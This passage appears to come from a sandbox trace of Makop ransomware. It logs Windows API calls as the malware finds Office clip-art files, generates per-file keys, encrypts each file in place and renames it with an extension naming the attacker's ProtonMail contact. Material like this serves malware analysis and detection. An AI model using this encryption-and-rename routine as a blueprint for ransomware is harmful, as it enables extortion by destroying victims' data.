dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.190] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.190] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.190] GetProcessHeap () returned 0x48a0000 [0142.190] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.190] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.190] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.190] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.190] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.191] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.192] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.193] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.193] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.193] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.193] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d5c, lpOverlapped=0x0) returned 1 [0142.202] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d60) returned 1 [0142.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d60, lpOverlapped=0x0) returned 1 [0142.203] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.203] SetEndOfFile (hFile=0xf0) returned 1 [0142.350] GetProcessHeap () returned 0x48a0000 [0142.350] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.353] GetProcessHeap () returned 0x48a0000 [0142.353] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.353] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.364] CloseHandle (hObject=0xf0) returned 1 [0142.365] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0142.365] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF") returned 63 [0142.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.366] GetProcessHeap () returned 0x48a0000 [0142.366] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.366] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.366] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.367] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.367] GetProcessHeap () returned 0x48a0000 [0142.367] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.367] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.367] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.367] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.415] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.415] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.415] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.415] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.416] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4040, lpOverlapped=0x0) returned 1 [0142.417] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4040, dwBufLen=0x4040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4040) returned 1 [0142.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4040, lpOverlapped=0x0) returned 1 [0142.418] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.418] SetEndOfFile (hFile=0xf0) returned 1 [0142.425] GetProcessHeap () returned 0x48a0000 [0142.425] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.425] GetProcessHeap () returned 0x48a0000 [0142.425] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.425] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.427] CloseHandle (hObject=0xf0) returned 1 [0142.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0142.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF") returned 63 [0142.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.429] GetProcessHeap () returned 0x48a0000 [0142.429] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.429] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.438] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.438] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.438] GetProcessHeap () returned 0x48a0000 [0142.438] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.439] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.439] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.439] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.439] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.439] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.439] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.439] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.440] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.440] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.440] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.440] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.440] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4d18, lpOverlapped=0x0) returned 1 [0142.449] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d20, dwBufLen=0x4d20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d20) returned 1 [0142.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4d20, lpOverlapped=0x0) returned 1 [0142.449] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.449] SetEndOfFile (hFile=0xf0) returned 1 [0142.457] GetProcessHeap () returned 0x48a0000 [0142.457] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.458] GetProcessHeap () returned 0x48a0000 [0142.458] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.458] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.460] CloseHandle (hObject=0xf0) returned 1 [0142.460] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0142.460] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF") returned 63 [0142.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.461] GetProcessHeap () returned 0x48a0000 [0142.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.461] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.466] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.466] GetProcessHeap () returned 0x48a0000 [0142.466] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.466] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.466] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.466] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.466] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.466] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.467] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.467] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.467] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.467] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47ec, lpOverlapped=0x0) returned 1 [0142.469] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x47f0) returned 1 [0142.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x47f0, lpOverlapped=0x0) returned 1 [0142.470] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.470] SetEndOfFile (hFile=0xf0) returned 1 [0142.476] GetProcessHeap () returned 0x48a0000 [0142.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.476] GetProcessHeap () returned 0x48a0000 [0142.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.476] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.479] CloseHandle (hObject=0xf0) returned 1 [0142.479] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0142.479] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF") returned 63 [0142.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, 